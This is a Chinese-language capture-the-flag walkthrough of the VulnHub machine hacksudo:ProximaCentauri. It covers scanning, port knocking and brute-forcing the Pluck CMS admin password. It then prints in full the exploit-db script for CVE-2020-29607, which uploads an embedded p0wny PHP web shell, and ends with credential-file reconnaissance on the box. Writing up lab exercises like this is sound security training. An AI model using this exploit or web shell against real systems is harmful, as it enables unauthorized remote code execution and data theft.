IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 靶机渗透练习97-hacksudo:ProximaCentauri -> 正文阅读

[系统运维]靶机渗透练习97-hacksudo:ProximaCentauri

靶机描述

靶机地址:https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/

Description

Box created by hacksudo team members vishal Waghmare , Soham Deshmukh This box should be easy to medium . This machine was created for the InfoSec Prep Discord Server (https://discord.gg/tsEQqDJh) and Website (https://hacksudo.com)

This box created for improvement of Linux privileged escalation and CMS skill , I hope so you guys enjoy. The box was created with Virtualbox ,but it should work with VMWare Player and VMWare workstation Upon booting up use netdiscover tool to find IP address you can check ip on grab page . This is the target address based on whatever settings you have. You should verify the address just incase.

Find the root.txt flag submit it to the flagsubmit channel on Discord and get chance to get hacksudo machine hacking course free .

This works better with VirtualBox rather than VMware

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.3

靶机

IP地址:192.168.9.17

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

?  hacksudo: ProximaCentauri  arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.3
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.1     0a:00:27:00:00:12       (Unknown: locally administered)
192.168.9.1     08:00:27:cf:3c:de       PCS Systemtechnik GmbH (DUP: 2)
192.168.9.17    08:00:27:f3:2e:f3       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.316 seconds (110.54 hosts/sec). 3 responded
方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、fping -aqg 指定网段

fping -aqg 192.168.9.0/24

方法五、待补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

?  hacksudo: ProximaCentauri  nmap -A -sV -T4 -p-  192.168.9.17
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 04:21 CST
Nmap scan report for bogon (192.168.9.17)
Host is up (0.0025s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 2 disallowed entries 
|_/data/ /docs/
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:F3:2E:F3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   2.51 ms bogon (192.168.9.17)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.31 seconds

开放了80端口,并发现robots.txt其中显示两个目录

22端口状态为filtered,后期可能会需要进行端口敲门

2.2枚举漏洞

2.2.1 80 端口分析

访问:http://192.168.9.17

image-20220509043714773

在页脚发现该站CMS是pluck

同时得到登录界面:http://192.168.9.17/login.php

除了这个没其他信息了

咱们扫一下目录看看

?  hacksudo: ProximaCentauri  gobuster dir -u http://192.168.9.17 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o hacksudo.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.17
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,html,bak
[+] Timeout:                 10s
===============================================================
2022/05/09 04:43:14 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 313] [--> http://192.168.9.17/images/]
/login.php            (Status: 200) [Size: 1245]                                 
/docs                 (Status: 301) [Size: 311] [--> http://192.168.9.17/docs/]  
/files                (Status: 301) [Size: 312] [--> http://192.168.9.17/files/] 
/index.php            (Status: 302) [Size: 0] [--> http://192.168.9.17/?file=hacksudo-proxima-centauri]
/data                 (Status: 301) [Size: 311] [--> http://192.168.9.17/data/]                        
/admin.php            (Status: 200) [Size: 4584]                                                       
/install.php          (Status: 200) [Size: 4593]                                                       
/robots.txt           (Status: 200) [Size: 47]                                                         
/planet               (Status: 301) [Size: 313] [--> http://192.168.9.17/planet/]                      
/planet.html          (Status: 200) [Size: 1632]                                                       
/requirements.php     (Status: 200) [Size: 4605]                                                       
/server-status        (Status: 403) [Size: 277]                                                        
/flag1.txt            (Status: 200) [Size: 64]                                                         
                                                                                                       
===============================================================
2022/05/09 04:46:53 Finished
===============================================================

访问:http://192.168.9.17/flag1.txt

image-20220509045242054

这应该就是所谓的flag1

访问:http://192.168.9.17/docs/

image-20220509045003573

image-20220509045016112

猜测CMS的版本号为pluck 4.7.3

得到了版本号,那就直接去本地搜索一下漏洞库

image-20220509053057078

没发现特别适用此靶机的,接下去分析吧

访问:http://192.168.9.17/planet/

image-20220509045706243

访问:http://192.168.9.17/planet/travel/

image-20220509045751021

好像就是个静止页面,查看一样源代码,发现一串特殊的注释

<!--- here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b --!> 

我们可以从此评论中获得以下信息

  1. 我们应该找到 Proxima Centauri 的坐标
  2. Right Ascension(RA)表示开放
  3. 偏角(Dec)表示关闭

打开关闭短语可能指的是打开和关闭的端口,还记得咱们上边使用 Nmap 时遇到的过滤端口吗?

也就是22端口,这可能是在提示我们执行端口敲门以打开过滤后的端口。

直接访问他提供的google搜索

image-20220509050426958

打开,它说看 RA(赤经)

正如我们在之前的挑战中看到的,我们可以使用这些数字来解锁过滤端口22

也就是说,咱们可以使用端口敲门打开22端口

这里咱们使用knock进行端口敲门:knock 192.168.9.17 14 29 43

?  hacksudo: ProximaCentauri  knock 192.168.9.17 14 29 43
?  hacksudo: ProximaCentauri  nmap -p 22 192.168.9.17                                                                          
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 05:06 CST
Nmap scan report for bogon (192.168.9.17)
Host is up (0.00034s latency).

PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 08:00:27:F3:2E:F3 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
?  hacksudo: ProximaCentauri  

成功打开22端口

尝试直接ssh登录看看,是否有相关提示

?  hacksudo: ProximaCentauri  ssh 192.168.9.17                     
The authenticity of host '192.168.9.17 (192.168.9.17)' can't be established.
ED25519 key fingerprint is SHA256:eI8yP9LtVsMcwLyNVJCLIT/guic0AroGQyjLmeyJCC8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.17' (ED25519) to the list of known hosts.
                                                       
 #m    m               #                        #        
 #    #  mmm    mmm   #   m   mmm   m   m   mmm#   mmm  
 #mmmm# "   #  #"  "  # m"   #   "  #   #  #" "#  #" "# 
 #    # m"""#  #      #"#     """m  #   #  #   #  #   # 
 #    # "mm"#  "#mm"  #  "m  "mmm"  "mm"#  "#m##  "#m#" 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.hacksudo.com @blackwhole effect #vishal_waghmare @twitter#vishalhwaghmare
#==============================================================================#
#hey dear you might be survive due to blackwhole effect so try 2 get right path#
#------------------------------------------------------------------------------#
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
root@192.168.9.17's password: 

这里咱们看到了一个github链接

访问该链接,文件内容如下

 GNU nano 5.4                          pass                                    
proxima
alfa
alfacentauri
proximab
exoplanet
hackme
hackplanet
alfahack
proximatravel
hacktheplanet
hacksudo
hacksudoplanet
vishalastro
alfab
#try for proxima centauri , this is blackwhole effect

还记得那个登录页面吗?

咱们可以尝试使用这个单词列表来破解密码

这里咱们使用 Burpsuite 来爆破

image-20220509052245429

这边设置payloads的时候选择字典时使用刚才获得的小字典

image-20220509052353201

这边成功爆破出密码为hacktheplanet

image-20220509052459817

拿获得密码进行登录

image-20220509053233037

登录后,在左下角发现CMS具体版本号为pluck 4.7.13

2.3漏洞利用

2.3.1 文件上传远程代码执行

去网上搜索下该版本是否有可以利用的EXP

成功找到https://www.exploit-db.com/exploits/49909

# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
# Date: 25.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607

'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin
privileged user to gain access in the host through the "manage files" functionality,
which may result in remote code execution.
'''


'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse


'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]


'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')


'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len

# Construct Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': str(content_len),
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
    'Cookie': cookie,
    'Upgrade-Insecure-Requests': '1'
}

# Construct Data:
body = {
    'cont1': password,
    'bogus': '',
    'submit': 'Log in',
}

# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:
    print('Password incorrect, please try again:')
    exit()
else:
    print('Authentification was succesfull, uploading webshell')
    print('')


'''
Upload Webshell:
'''
# Construct Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060',
    'Connection': 'close',
    'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files',
    'Cookie': cookie,
    'Upgrade-Insecure-Requests': '1'
}

# Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell
data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" οnkeydοwn=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload\r\n-----------------------------5170699732428994785525662060--\r\n"

# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files'
upload = requests.post(link_upload, headers=header, data=data)


'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar')
print('')
            

将其下载到本地,然后根据脚本内容,咱们可以运行以下命令:

python3 49909.py 192.168.9.17 80 hacktheplanet ""

?  hacksudo: ProximaCentauri  python3 49909.py 192.168.9.17 80 hacktheplanet ""

Authentification was succesfull, uploading webshell

Uploaded Webshell to: http://192.168.9.17:80/files/shell.phar

浏览器访问:http://192.168.9.17:80/files/shell.phar

image-20220509053954187

成功拿到shell

2.4权限提升

2.4.1 信息收集

进行简单的信息收集,查看当前目录下都有啥,查看一下系统用户

p0wny@shell:…/html/files# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
p0wny@shell:…/html/files# ls -al
total 104
drwxr-xr-x 2 www-data www-data  4096 May  8 17:39 .
drwxr-xr-x 7 www-data www-data  4096 Jun  7  2021 ..
-rwxr-xr-x 1 www-data www-data   128 Jan 29  2020 .htaccess
-rwxrwxr-x 1 www-data www-data 69750 Jun  4  2021 hacksudo.jpg
-rwxrwxr-x 1 www-data www-data 16970 May  8 17:39 shell.phar
p0wny@shell:…/html/files# cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
proxima:x:1001:1001:proxima century,3,3,1,1:/home/proxima:/bin/bash
alfa:x:1000:1000:,,,:/home/alfa:/bin/bash
centauri:x:1002:1002:,,,:/home/centauri:/bin/bash

查看一下备份文件夹是否有东西

p0wny@shell:…/html/files# cd /var/backups


p0wny@shell:/var/backups# ls -al
total 436
drwxr-xr-x  2 root root     4096 Jun  5  2021 .
drwxr-xr-x 12 root root     4096 Jun  4  2021 ..
-rw-r--r--  1 root root    40960 Jun  5  2021 alternatives.tar.0
-rw-r--r--  1 root root     9762 Jun  5  2021 apt.extended_states.0
-rw-r--r--  1 root root      666 Jun  4  2021 apt.extended_states.1.gz
-rw-r--r--  1 root root       98 Jun  4  2021 dpkg.diversions.0
-rw-r--r--  1 root root      172 Jun  4  2021 dpkg.statoverride.0
-rw-r--r--  1 root root   351158 Jun  5  2021 dpkg.status.0
-rw-------  1 root root      704 Jun  4  2021 group.bak
-rw-------  1 root shadow    587 Jun  4  2021 gshadow.bak
-r--r--r--  1 root root     2895 Jun  5  2021 mysql.bak
-rw-------  1 root root     1470 Jun  4  2021 passwd.bak
-rw-------  1 root shadow    969 Jun  4  2021 shadow.bak

p0wny@shell:/var/backups# cat mysql.bak

cat 命令在该 shell 中不起作用

咱们使用download命令进行下载到本地进行查看

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'proximacentauri' );

/** MySQL database username */
define( 'DB_USER', 'alfauser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'passw0rd' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
